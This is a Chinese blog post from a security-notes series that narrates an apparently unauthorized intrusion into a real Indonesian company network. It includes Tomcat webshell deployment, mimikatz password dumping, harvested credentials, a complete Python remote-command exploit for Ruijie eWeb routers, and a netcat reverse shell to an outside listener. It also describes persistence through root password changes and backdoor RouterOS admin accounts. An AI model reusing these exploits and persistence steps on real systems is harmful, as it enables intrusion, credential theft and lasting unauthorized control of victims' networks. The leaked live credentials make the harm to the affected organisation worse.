本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

    • 前言
    • 丝滑RDP
    • 后渗透
      • 来的早不如来的巧
      • 初探内网
        • 基本信息收集
        • 提取浏览器密码
      • Cpanel
      • 锐捷eWeb
        • 反弹shell
        • 上线ssh
      • MySQL1
      • MySQL2
      • 多网段
      • RouterOS1
      • RouterOS2-3
      • Fanvil VOIP
      • 未完待续

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透
  25. 改造冰蝎马,实现免杀之default_aes php
  26. 使用FofaSpider和Python联动批量挖洞
  27. 记一次简单的对盗号网站的渗透
  28. 记一次幸运的漏洞挖掘
  29. 记一次从外网打通AWS云

前言

如同上一篇博客所说,我在无聊的打外国的服务器。今天打的是一台印度尼西亚的Windows服务器,也是我第一次进行内网渗透,遂记录。

本文仅供学习交流,切勿违法法律和行政法规。阅读者的一切违法行为与本文无关。

由于全都是真实环境,因此厚码处理。

丝滑RDP

首先拿到URL,访问是一个Tomcat服务器。

使用弱口令:tomcat/tomcat进入manager

部署war包,使用哥斯拉连接,成功获取webshell。

当前权限为system,那必须抓一手密码上线rdp。

使用哥斯拉自带mimikatz抓密码。

得到多用户密码。

使用如下指令获取rdp端口

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber


0xd3c,转化成十进制为3388

直接连接,十分丝滑。

后渗透

开始进行后渗透。

来的早不如来的巧

一连上服务器,看见有浏览器,点开,就看到几个页面。

啊!这是什么!白送?

首先拿下Roundcube WebMail,可以发送邮件,可以看邮件。

接下来旁边四个cPanel,全都是登录状态。

直接在左边搜索Terminal进入终端

写公钥


拿下拿下

通过此方法轻松拿下四个Linux服务器。

初探内网

基本信息收集
ipconfig /all #获取网络信息
systeminfo #获取系统信息
netstat -ano #获取端口情况
tasklist /svc #获取系统进程

可以直接把信息交给ai,让ai总结。

先执行:


再发给ai,让他总结。


无域环境,内网网段为192.168.0.0/24
系统上装了TeamViewer和MySQL。

放了个fscan上去扫

fscan -h 192.168.0.0/24

毛都没扫出来

传了个suo5把流量代理出来,为了防止被发现,我把文件隐藏了。

这里分享一下我是怎么隐藏文件的,可以装逼骗小白。

直接右键,属性,选择隐藏

成功连接。

提取浏览器密码

因为粗心的开发者很可能会使用Google浏览器的保存密码功能,因此我们可以从浏览器中提取密码。

如果只有webshell,可以通过工具提取,我们有rdp,则可以直接在浏览器的Sertting->Password中查找
这里提取到三个密码,分别为:


172.18.1.12
admin/inforindo3011
172.25.6.34
admin/admin123
cpanel.xxxx:2083
mjb/Depo 01 xxx

Cpanel

通过刚才泄露的密码成功登录CPanel,可以控制文件系统,邮箱,数据库等。

锐捷eWeb

挂代理用goby扫,扫出了一个锐捷的eWeb路由器。IP为192.168.0.99

存在任意命令执行漏洞,可以使用如下Python程序利用。

import requests
import json
import time
import urllib3

# 关闭SSL警告(如果存在)
urllib3.disable_warnings()

# SOCKS5代理配置
proxies = {
    'http': 'socks5h://127.0.0.1:1111',
    'https': 'socks5h://127.0.0.1:1111',
}

# 目标主机
target = 'http://192.168.0.99'
headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)',
    'Content-Type': 'application/json',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive'
}

def execute_cmd(cmd):
    # 构造payload:命令写入tt1.txt
    payload = {
        "method": "checkNet",
        "params": {
            "host": f"`{cmd} > tt1.txt 2>&1`"
        }
    }

    try:
        # 发起POST请求执行命令
        r = requests.post(
            f"{target}/cgi-bin/luci/api/auth",
            data=json.dumps(payload),
            headers=headers,
            proxies=proxies,
            timeout=10,
            verify=False
        )

        # 等待目标系统写入文件(可根据情况调整)
        time.sleep(1.5)

        # 读取命令输出
        r2 = requests.get(
            f"{target}/cgi-bin/tt1.txt",
            headers=headers,
            proxies=proxies,
            timeout=10,
            verify=False
        )

        if r2.status_code == 200:
            return r2.text.strip()
        else:
            return f"[!] Failed to read output: HTTP {r2.status_code}"

    except Exception as e:
        return f"[!] Error: {e}"

def main():
    print("== Remote Shell (Ruijie eWeb RCE) ==")
    print("Type 'exit' or Ctrl+C to quit.\n")

    try:
        while True:
            cmd = input("eweb$ ")
            if cmd.strip().lower() in ['exit', 'quit']:
                break
            if cmd.strip() == '':
                continue

            result = execute_cmd(cmd)
            print(result)

    except KeyboardInterrupt:
        print("\n[+] Exit.")
        return

if __name__ == '__main__':
    main()

这样我们就可以比较方便地执行任意指令了。

接下来尝试持久化控制。

反弹shell

我把互联网翻了个遍,居然没有人讲持久化控制。那我来讲。

首先,这种路由器的Linux肯定是非常拉胯的,什么都没有,Python,php都不存在,但一般来说会有一个busybox,这就是我们的突破口。

首先确保其能出网。

可以出网,我们就可以反弹shell。但是要用特殊方法。

假设监听机IP为1.1.1.1,我们在上面部署好监听,端口为1234。

然后找一个Linux终端,输入如下指令获取base64值。

echo 'mkfifo /tmp/f; /bin/sh </tmp/f | nc 1.1.1.1 1234 >/tmp/f' | base64


然后在路由器上执行如下指令

echo <加密后的结果> | base64 -d | sh


成功得到反弹shell

上线ssh

一般来说busybox里面都会有一个ssh客户端,但没有sshd服务端,我们可以自己安装一个。

使用下列指令安装。

opkg update
opkg install dropbear


安装好后开启sshd,监听22端口,我们可以用netstat -tulnp查看是否开启成功

再给root改个密码

eweb$ echo 'root:abc123' | chpasswd
Password for 'root' changed

挂上代理直接连接,成功拿下

MySQL1

连接那四台Linux服务器中的blueberry,使用ls -a查看当前目录下所有文件

嗯,这个.myf是什么?cat一下

cat .myf


MySQL+1

MySQL2

先前说过,我们入口的Windows服务器上有MySQL服务。

Tomcat的webapps中还部署了别的站点,在其中找到配置文件,得到MySQL账号密码。

MySQL+1.

多网段

在入口的Windows服务器中显示当前内网段为:192.168.0.0/24
但在锐捷eweb中我们发现存在网段10.123.123.0/24
为了探测可达网段,我直接传了一个netspy去探测。

netspy is

得到一个alive.txt文件,打开一看

93个网段?狗屁吧。

先扫再说,管他真假

RouterOS1

fscan -hf alive.txt

发现弱口令,IP为:172.25.6.34,账密为admin/admin123

挂好代理直接用FinalShell连接

网页端也可以登陆

用dhcp看看有哪些设备

/ip dhcp-server lease print


红米、三星、真我。这给我干哪来了?

RouterOs+1

RouterOS2-3

睡了一觉回来,发现多了一个WinBox的活动连接。

直接connect试试水。

成功连接。
因为不知道密码是多少,所以进入终端直接加一个新用户。

/user add name=tty group=full password="tty123456" disabled=no
/ip service set ssh disabled=no
/ip service set ssh address=0.0.0.0/0

挂好代理直接连接。

通过此方法拿下10.208.3.1、10.253.55.5

Fanvil VOIP

WEB界面admin/admin弱口令拿下来的,不知道有什么用

未完待续

在之后就打不动了,fscan什么都没扫出来,内网里面也全都是Routeros。有会的大佬可以来教一下我。我还是太菜了,溜了溜了